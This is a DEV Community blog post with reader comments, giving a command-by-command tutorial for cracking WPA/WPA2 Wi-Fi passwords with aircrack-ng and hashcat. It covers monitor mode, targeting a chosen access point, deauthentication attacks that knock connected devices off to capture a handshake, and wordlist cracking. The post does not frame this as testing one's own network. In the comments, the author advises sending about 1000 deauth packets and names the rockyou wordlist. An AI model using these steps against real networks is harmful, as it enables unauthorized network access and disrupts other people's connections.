DEV Community

Cover image for Hack Wifi (WPA/WPA2) with Aircrack-ng
5hfT
5hfT

Posted on • Updated on

Hack Wifi (WPA/WPA2) with Aircrack-ng

Crack-WIFI-WPA2 in Linux!

Prerequirments :

  • Aircrack-ng : sudo apt install aircrack-ng

Lets capture the flag (I mean Handshake):

Open terminal.....

Terminal-1:

  1. Detect your wireless network interface :
ifconfig
Enter fullscreen mode Exit fullscreen mode

Interfaces

if coudn't find command then try :

/sbin/ifconfig
Enter fullscreen mode Exit fullscreen mode

lets take wlp3s0 as the wireless interface

  1. Start monitor mode :
sudo airmon-ng start wlp3s0 
Enter fullscreen mode Exit fullscreen mode

Enable Monitor mode

  1. capture traffic :
sudo airodump-ng wlp3s0mon 
Enter fullscreen mode Exit fullscreen mode

Monitoring

Terminal-2:

  1. select target and focus on one AP on channel:
sudo airodump-ng --bssid xx.xx.xx.xx.xx.xx -c y --write filename wlp3s0mon
Enter fullscreen mode Exit fullscreen mode
  • xx.xx.xx.xx.xx.xx defines : AP BSSID -> 00.11.22.33.44.55 (suppose)
  • y defines : AP channel -> 10 (suppose)
  • filename is the file name where the handshake will captute and make some other stuffs .

Monitong target

Terminal-3:

  1. Send traffic to the channel :
sudo aireplay-ng --deauth y -a xx.xx.xx.xx.xx.xx  wlp3s0mon
Enter fullscreen mode Exit fullscreen mode
  • ammoun of traffic-> y

Deauth

  1. Capture handshake : it will be shown in the monitor if captured ! at Terminal-2.

  2. Now you got the handshake .(terminal-2)

  3. Stop the process of terminal-2 : ctrl+c

Now Lets crack the password !

There will be a WPAcrack-01.cap file in your home directory

  1. convert cap file into hccapx file : https://www.onlinehashcrack.com/tools-cap-to-hccapx-converter.php

or

  1. use cap2hccapx.c file to convert the cap file to hccapx file
gcc cap2hccapx.c -o cap2hccapx && ./cap2hccapx file.cap file.hccapx
Enter fullscreen mode Exit fullscreen mode

cap to hccapx

  1. Crack password using hashcat :
  • Install hashcat :sudo apt install hashcat
  • check is everything oky ? : hashcat -I to use hashcat you need gpu
  • crack password :
sudo  hashcat -m 2500 wpacrack.hccapx dictionary.txt
Enter fullscreen mode Exit fullscreen mode
  • dictionary.txt -> word list (suppose)
  • wpacrack.hccapx is the handshake file

hashcat

Status

Then you will get the password.

password

Here is the git repo you can find cap2hccapx.c

Top comments (27)

Collapse
 
abby1611 profile image
Abhay Pratap Singh

airodump-ng does not discover any wifi networks, though they all are in very close proximity and good strength, they are visible on my phone but airodump-ng shows this and stays like this forever, without any change

Collapse
 
mh_shifat profile image
5hfT

sometimes it cant capture the handshake and there can be may reasons for that like your wirelesses adapter is not capable of capturing it, weak signal bla bla.....

Try to stay close to the targeted device.

Collapse
 
abby1611 profile image
Abhay Pratap Singh

Yes i searched about it a lot on the internet and finally got to know that there is some issue with the QUALCOM ATHEROS Q933... adapter which comes in a lot of devicesand the only possible solution for this is to use an external Wi-Fi card

Thread Thread
 
mh_shifat profile image
5hfT

yup

Collapse
 
fearless96 profile image
Fearless96 • Edited

When i follow these steps at some point i get this error:

sudo airodump-ng wlp3s0mon
nl80211 not found.
Interface wlp3s0mon:
ioctl(SIOCGIFINDEX) failed: No such device
Failed initializing wireless card(s): wlp3s0mon

What am i doing wrong or what am i missing?

Also in the step before i get the message:

Requested device "wlp3s0" does not exist.

Collapse
 
mh_shifat profile image
5hfT

can you show me the output of ifconfig

Collapse
 
fearless96 profile image
Fearless96

ifconfig
enp0s3: flags=4163 mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::ceb7:156a:789d:6d60 prefixlen 64 scopeid 0x20
ether 08:00:27:18:68:bf txqueuelen 1000 (Ethernet)
RX packets 585 bytes 256028 (256.0 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 640 bytes 83216 (83.2 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73 mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 320 bytes 31490 (31.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 320 bytes 31490 (31.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Thread Thread
 
mh_shifat profile image
5hfT • Edited

can you give me the screenshot? text are confusing here!

Thread Thread
 
fearless96 profile image
Fearless96

here you go

Thread Thread
 
fearless96 profile image
Fearless96

imgur.com/a/unY5Tqr again here you go haha

Thread Thread
 
mh_shifat profile image
5hfT

image is resolution too bad... and are you sure you have a wireless interface? and it is monitor mode supported?

Thread Thread
 
fearless96 profile image
Fearless96

hmm i'm sorry cant do anything resolution wise. And yes i have a wireless connection and a wired connection in my pc. Dont know for sure if it is monitor supported but i believe it is. it's build in into an aorus master x570 mobo

Thread Thread
 
mh_shifat profile image
5hfT • Edited

look in this ss my wifi interface is wlp3s0.

Thread Thread
 
fearless96 profile image
Fearless96

Yeah i saw. I am getting a feeling that Ubuntu doesnt pick up my wireless connection at all. Because even if i check in the settings and network it only shows a wired. The dongle is multi purpose also for Bluetooth and there it say plug in a dongle to use Bluetooth

Collapse
 
mh_shifat profile image
5hfT • Edited

using ifconfig you can find the wireless interface name. Then use sudo airodump-ng interface_name. I have used wlp3s0 because it was my wireless interface. So you have to use yours here.

Collapse
 
okisyima profile image
okisyima

where are locate a wordlist?
where a wordlist from?

Collapse
 
mh_shifat profile image
5hfT

you can make your own word lists or you can download from internet.
There are a lot of word lists made by the hackers.
One of the popular word list is rock you.txt you can google it.

Collapse
 
okisyima profile image
okisyima

thank you sir

Thread Thread
 
mh_shifat profile image
5hfT

your most welcome..

Collapse
 
chrisachinga profile image
Chris Achinga

I do not understand

Collapse
 
mh_shifat profile image
5hfT

Exactly what didnt you understan? 😕

Collapse
 
smohammedafnan profile image
smohammedafnan

whenever i try to follow steps my wifi turns itself off. is it normal ?
"sudo airodump-ng --bssid xx.xx.xx.xx.xx.xx -c y --write filename wlp3s0mon" when i try to execute , terminal says "airodump-ng help"
why does it do that. Thanks

Collapse
 
spdfrk24 profile image
spdfrk24

where can I view the password after cracking the password. when I type "hashcat -m 2500 myfilename.hccapx rockyou.txt --show" nothing happen. Thanks

Collapse
 
mh_shifat profile image
5hfT

When you are using a wordlist to crack the password using sudo hashcat -m 2500 wpacrack.hccapx dictionary.txt you will find the password in terminal if your wordlist have the password.

Collapse
 
daitarnmuteki profile image
Daitarn III • Edited

This is all I'm getting: ibb.co/JpvkHFK
What does it mean?

Collapse
 
mh_shifat profile image
5hfT

you are sending Only 4 deauth...
try to send more like 1000 so that the router will disconnect the commected divices and then these devices will try to connect with the router and your montioring terminal will catch the handshake between router and the connected device.

Collapse
 
danishwani profile image
Danish Wani • Edited

GPU is mandatory for using hashcat as you have said then this should have been put in Prerequirements section. After following most of the steps, now I am stuck at hashcat